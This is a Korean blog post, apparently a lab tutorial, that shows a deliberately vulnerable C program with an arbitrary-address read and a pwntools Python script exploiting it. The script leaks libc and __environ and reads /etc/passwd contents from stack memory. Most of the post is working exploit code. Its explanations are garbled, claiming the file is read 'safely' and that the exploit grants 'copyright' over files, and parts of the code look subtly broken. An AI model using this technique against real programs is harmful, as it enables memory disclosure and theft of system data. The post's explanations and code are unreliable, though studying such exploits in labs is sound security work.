본문 바로가기
개발

Python으로 환경 변수 취약점을 이용한 파일 내용 읽기 실습

by hes3518 2024. 11. 13.
728x90
반응형

Python으로 기억하는 파일 내용 읽기: 환경 변수 취약점을 활용한 실습

안녕하세요! 여러분! 오늘은 Python을 활용해 파일의 내용을 읽어오는 간단한 프로그램을 만들어보도록 하겠습니다. 이 프로그램은 환경 변수를 취약점으로 활용하여, 시스템의 특정 파일 내용을 안전하게 조회하는 방법을 소개할 예정입니다.

들어가며

프로그래밍 둘레에서 보안은 매우 중요한 주제입니다. 그 중에서도 환경 변수와 관련된 취약점은 자주 발견되는 문제 중 하나입니다. 보안 전공자와 해커 모두에게 유용하게 사용할 수 있는 이 기법은, 물리적 접근 없이도 파일의 내용을 안전하게 읽어올 수 있게 해줍니다. 이번 포스트에서는 이 기법을 Python으로 실습해보도록 하겠습니다.

코드 작성하기

아래 코드는 /etc/passwd 파일을 읽어 주며, 환경 변수를 통해 특정 취약점을 이용하고 있습니다. 코드의 구조는 C로 작성된 프로그램과 그에 따른 Python 스크립트를 포함하고 있습니다.

C 코드 (environ.c)

// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];
  int fd = open("/etc/passwd", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}

int main() {
  char buf[1024];
  long addr;
  int idx;
  init();
  read_file();
  printf("stdout: %p
", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

코드 설명하기

1. 환경 설정 및 파일 읽기

이 코드는 프로그램이 시작할 때 환경 세팅을 하고 매번 /etc/passwd 파일을 읽습니다. 환경 변수 정보를 통해 원하는 메모리 주소에 접근할 수 있게 됩니다.

2. 입력 기능 구현

사용자가 주소를 입력하면, 그 메모리 주소에 있는 내용을 출력하는 기능을 갖추고 있습니다. 이렇게 함으로써 특정 주소에 있는 데이터에 접근할 수 있는 것입니다.

3. Python을 통한 익스플로잇

이제 Python을 통해 이 C 프로그램을 익스플로잇해보겠습니다. 아래의 코드는 /etc/passwd 파일의 내용을 읽어오는 데 필요한 주소를 계산하는 과정을 나타냅니다.

Python 코드 (environ.py)

# Name: environ.py
from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("
"), 16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))

p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, "")) 
file_content = stack_environ - 0x1538

print("stack_environ: " + hex(stack_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))

p.interactive()

결과 확인하기

위의 Python 코드 실행 결과로는 /etc/passwd의 내용을 확인할 수 있는 접근 권한을 부여받게 됩니다. 이 과정을 통해 시스템의 파일에 대한 저작권을 다룰 수 있어, 보안 문제를 진지하게 다루는 데 중요한 시사점을 제공하게 됩니다.

마무리하며

이번 포스트에서는 Python과 C를 활용하여 환경 변수 취약점을 이용한 파일 읽기에 대해 알아보았습니다. 이 실습이 여러분에게 프로그램의 보안을 더 깊이 이해하는 데 도움이 되었길 바랍니다. 보안 관련 질문이나 추가 궁금증이 있으시다면 언제든지 댓글 남겨주세요!

여러분의 학습 여정에 이 글이 작은 도움이 되었기를 바랍니다! 다음 포스트에서 만나요!

728x90
반응형